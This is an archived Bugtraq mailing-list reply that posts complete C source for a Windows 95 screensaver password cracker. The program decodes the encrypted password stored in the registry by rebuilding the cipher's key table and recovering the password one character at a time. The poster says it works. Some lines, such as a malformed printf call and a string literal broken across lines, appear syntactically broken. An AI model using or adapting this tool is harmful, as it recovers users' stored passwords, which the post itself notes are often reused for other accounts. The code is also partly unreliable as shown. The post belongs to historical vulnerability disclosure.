Re: Windows95/98(?) Screensavers

[ryan () RYANSPC COM (Ryan Veety)]

On May 26, 11:31pm, CrazyLinux wrote:
> Subject: Windows95/98(?) Screensavers
>
> I got the idea to explore a bit on the w95ss password in the registry
> after seeing the bruteforce cracker (using tables of bytes).
>
> (why this is important to bugtraq? loads of people use 1 password for
> everything)
>
> Feel free to recode it in C and post to the list.
> -- End of excerpt from CrazyLinux


I made this sometime a few months ago, it works.

I did not write the original code, I only modified it so the values from
RegEdit could be entered.


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//  Original code by Lonely Hawk
//  Modified by Ryan Veety to support both RegEdit and text editor codes.
//  http://www.ryanspc.com
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char matrix[256+2];
unsigned char matrixok[256+2];
unsigned char mystery[4]={ 0xb2, 0xdc, 0x90, 0x8f };
unsigned char h1;
unsigned char pa[79], passwd[80];
unsigned char tofind[30];
int h2=4;
unsigned int lentofind;
int len;

void fixmatrix()
{
    unsigned char orig, mys, help1, last;
    int i,j, help2;

    for(i=0; i<256; i++)
        matrix[i]=i;
    matrix[256]=0; matrix[256+1]=0;
    h1=0; last=0;
    for(j=0;j<256;j++) {
        orig=matrix[j];
        mys=mystery[h1];
        help2=(mys+last+matrix[j]) & 0xff;
        help1=matrix[help2];
        matrix[j]=help1;
        matrix[help2]=orig;
        last=help2;
        h1++; h1=h1%4;
    }
    memcpy(matrixok, matrix, sizeof(matrix));
}

void check(char *test)
{
    unsigned char  help1, oldh2;
    int i;

    strcpy(passwd, test);
    strcpy(pa, passwd);
    len=strlen(pa);

    memcpy(matrix, matrixok, sizeof(matrix));

    h1=0; h2=0;
    for(i=0;i<len;i++)
    {
        h1++; h1=h1&0xff;

        oldh2=matrix[h1];
        h2=(h2+matrix[h1]) & 0xff;

        help1=matrix[h1];
        matrix[h1]=matrix[h2];
        matrix[h2]=help1;
        help1=(matrix[h1]+oldh2) & 0xff;
        help1=matrix[help1];
        pa[i]^=help1;
    }
}

int is_ok(char a)
{
    if ((a<='9') && (a>='0'))
        return 1;
    else if ((a<='F') && (a>='A'))
        return 1;
    else
        return 0;
}

int nibble(char c)
{
    if((c>='A') && (c<='F'))
        return (10+c-'A');
    else if((c>='0') && (c<='9'))
        return (c-'0');
}

void parse(char *inpt)
{
    char *tok;
    char num[2];

    lentofind=0;
    tok=strtok(inpt, "\t ,\n");
    while(tok!=NULL) {
        num[0]=tok[0]; num[1]=tok[1];
        if ((!is_ok(num[0])) || (!is_ok(num[1])))
        {
            puts("Please input strings like: a1,b1,05,c3,d2,f3");
            exit(0);
        }
        tofind[lentofind++]=16*nibble(num[0])+nibble(num[1]);

        tok=strtok(NULL, "\t ,\n");
    }
    tofind[lentofind]=0;
}

int hex(char *str)
{
   return (str[0]-'0')*16+(str[1]-'0');
}

void main()
{
    unsigned int i;
    int j,found=0,n=0,odd=0;
    unsigned char tst[80];
    char inpt[120];
    char ascii[120];
    char temp[3];
    char ans;

    fixmatrix();
    printf("Windows 95 Screen Saver Cracker.\nMade by Lonely Hawk.\n");
    printf("Modified by Ryan Veety   http://ryanspc.nws.net\n";);
    printf("It now allows both hex and ascii inputs.\n");
    printf("Ascii codes come from RegEdit and hex codes come from a text
editor\n\n");
    do
    {
       printf("Are the codes hex or ascii [h/a]?");
       ans = getchar();
       getchar();
    } while(tolower(ans) != 'h' && tolower(ans) != 'a');
    if(tolower(ans) == 'a')
    {
       printf("Give me the codes, separated by commas (in ascii):\n >");
       gets(ascii);
       i=0;
       do
       {
          temp[0]=ascii[i];
          temp[1]=ascii[i+1];
          temp[2]=NULL;
          inpt[n]=hex(temp);
          n++;
          odd++;
          if(odd % 2 == 0 && i+3<=strlen(ascii))
          {
             inpt[n]=',';
             n++;
          }
          i+=3;
       }while(i<=strlen(ascii));
       inpt[n]=NULL;
       printf("The hex codes for the password are: %s\n", inpt);
    }
    else
    {
       printf("Give me the codes, separated by commas (in hex):\n >");
       gets(inpt);
    }
    for(i=0;i<strlen(inpt);i++)
        inpt[i]=toupper(inpt[i]);
    parse(inpt);

    for(i=0; i<lentofind; i++)
        tst[i]='A';
    tst[lentofind]=0;

    for(i=0; i<lentofind; i++)
    {
        for(j=' '; j<='Z'; j++)
        {
            tst[i]=j;
            check(tst);
            if(pa[i]==tofind[i])
                break;
        }
    }
    printf("Password is: %s\n", tst);
}
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--